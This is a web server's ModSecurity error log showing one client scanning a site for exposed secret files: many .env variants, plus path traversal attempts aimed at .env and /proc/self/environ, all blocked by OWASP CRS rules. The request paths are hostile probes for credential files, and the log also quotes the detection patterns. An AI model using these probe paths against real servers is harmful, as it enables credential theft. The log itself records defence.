[Mon Oct 26 14:54:30.625414 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5vo8w19imigfk0t9qgAAABg"]
[Mon Oct 26 14:54:30.676364 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5vo8w19imigfk0t9qgAAABg"]
[Mon Oct 26 14:54:30.676514 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5vo8w19imigfk0t9qgAAABg"]
[Mon Oct 26 14:54:30.676755 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5vo8w19imigfk0t9qgAAABg"]
[Mon Oct 26 14:54:30.627881 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5s1s7k65ejr69eONqgAAABc"]
[Mon Oct 26 14:54:30.687421 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5s1s7k65ejr69eONqgAAABc"]
[Mon Oct 26 14:54:30.687912 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5s1s7k65ejr69eONqgAAABc"]
[Mon Oct 26 14:54:30.628755 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-h5uwhFnyxLKqf5CkqfAAAAB0"]
[Mon Oct 26 14:54:30.690684 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-h5uwhFnyxLKqf5CkqfAAAAB0"]
[Mon Oct 26 14:54:30.691070 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-h5uwhFnyxLKqf5CkqfAAAAB0"]
[Mon Oct 26 14:54:30.629556 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-h5hrehvC7c7rdooIrUwAAABs"]
[Mon Oct 26 14:54:30.692180 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-h5hrehvC7c7rdooIrUwAAABs"]
[Mon Oct 26 14:54:30.692556 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-h5hrehvC7c7rdooIrUwAAABs"]
[Mon Oct 26 14:54:30.630342 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5g7tQS1M73WECjKQpQAAAAY"]
[Mon Oct 26 14:54:30.693529 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5g7tQS1M73WECjKQpQAAAAY"]
[Mon Oct 26 14:54:30.693893 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5g7tQS1M73WECjKQpQAAAAY"]
[Mon Oct 26 14:54:30.803127 2026] [core:error] [pid 3083995:tid 3083995] [client 34.39.215.232:32912] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Mon Oct 26 14:54:30.811388 2026] [core:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Mon Oct 26 14:54:30.889725 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at-h5uwhFnyxLKqf5CkqfQAAAB0"]
[Mon Oct 26 14:54:30.889810 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at-h5uwhFnyxLKqf5CkqfQAAAB0"]
[Mon Oct 26 14:54:30.889879 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at-h5uwhFnyxLKqf5CkqfQAAAB0"]
[Mon Oct 26 14:54:30.890360 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at-h5uwhFnyxLKqf5CkqfQAAAB0"]
[Mon Oct 26 14:54:30.890608 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at-h5uwhFnyxLKqf5CkqfQAAAB0"]
[Mon Oct 26 14:54:30.941819 2026] [core:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Mon Oct 26 14:54:31.698426 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at-h581s7k65ejr69eONrAAAABc"]
[Mon Oct 26 14:54:31.698700 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at-h581s7k65ejr69eONrAAAABc"]
[Mon Oct 26 14:54:31.698982 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at-h581s7k65ejr69eONrAAAABc"]
[Mon Oct 26 14:54:31.724343 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at-h5_EWMevIOUAFFIb9nAAAAB4"]
[Mon Oct 26 14:54:31.724681 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at-h5_EWMevIOUAFFIb9nAAAAB4"]
[Mon Oct 26 14:54:31.725699 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at-h5w7tQS1M73WECjKQpwAAAAY"]
[Mon Oct 26 14:54:31.725883 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at-h5w7tQS1M73WECjKQpwAAAAY"]
[Mon Oct 26 14:54:31.726131 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at-h5w7tQS1M73WECjKQpwAAAAY"]
[Mon Oct 26 14:54:31.730122 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at-h5_EWMevIOUAFFIb9nAAAAB4"]
[Mon Oct 26 14:54:31.740706 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at-h5_o8w19imigfk0t9rAAAABg"]
[Mon Oct 26 14:54:31.740863 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at-h5_o8w19imigfk0t9rAAAABg"]
[Mon Oct 26 14:54:31.741090 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at-h5_o8w19imigfk0t9rAAAABg"]
[Mon Oct 26 14:54:31.756945 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at-h5-whFnyxLKqf5CkqfgAAAB0"]
[Mon Oct 26 14:54:31.757095 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at-h5-whFnyxLKqf5CkqfgAAAB0"]
[Mon Oct 26 14:54:31.757345 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at-h5-whFnyxLKqf5CkqfgAAAB0"]
[Mon Oct 26 14:54:31.761701 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at-h57L9QjyjajVBwlSNBwAAACA"]
